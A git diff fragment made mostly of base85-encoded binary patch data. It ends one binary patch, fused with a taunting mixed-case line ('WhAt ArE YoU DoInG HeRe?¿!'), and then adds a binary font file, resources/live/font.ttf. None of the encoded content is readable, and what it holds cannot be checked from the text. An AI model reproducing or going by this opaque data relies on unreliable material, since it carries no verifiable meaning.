z6mp!@8U1;tQ+%flMyNGceW-$kSQp`J%LYN4K%}5dDwXF4de`qMUcp3~vFyJ{k{hkl zKntc+>5Z^KFmh$CY3-l@Aq#Z_tT*=(vp)~~aleF78=*&W)}nIYp@R$R?-&y!`7Bz9 z``hQ+yMZK-+{g%nJ|XwR{6=Az8lCoU8dYXa97!_VelxG_+DBXO?bY~UjKORG<91P^ z3C{?7H^u$PhrMx~wSBpp%EpPEK)is7<&e2mfvtvsFPbnllBKwxO`N(kmSlW4qhc7% z!a!Pbbo3c`#os$Kh7{IRyK#C9$ievD`n;Rnv%fwxdu^Ilo_53PEjRff<#SC#h_uNW zn4q(&Q)EfEx3VaPSFG}fuK`ylKXWd3 zHwV$Is1iAE-XDZK$PgwvPl!psK9n2&%K|8hJ?ka{MFZ9&cs(P~+Qk;y9DhIv&M-pW9ih_> z?{d0Yw?i-v&$0DVdKMBhx3L8%F%XAqQKdCaA3t7od>WGk6$Z>oQjc_8za~3f&lhL? zBW;*M0x(bLl(&y7wDoXB3jHz+8`<6C$4i;Bm5zP2lNcP&`0y?Fj4RoK7! zIHtZ)VNET=HkXajqp%I{C>--p^Lk2PdY!JXL}6{qIl!H%=x|N;wae#MEd$=+lAuQU zZYm3)X*Z@yV>n692WDiFdcyqb!^B;uJgTyMtFvrT6ZYN-eHtN=P!hoznd!$*G2Yo9~2+=EG2SBG9xP?1ZpxB@`E~pY8>LKzf9e!36*K3j`u25exFg z;Nl1{)X9L|SM6X9FdJ*@--#7Kt!@9+IvMQl>gWhAt ArE YoU DoInG HeRe?¿! diff --git a/resources/live/font.ttf b/resources/live/font.ttf new file mode 100644 index 0000000000000000000000000000000000000000..0151b56363ceabfebf9bc58ece228ea853ea4240 GIT binary patch literal 118728 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 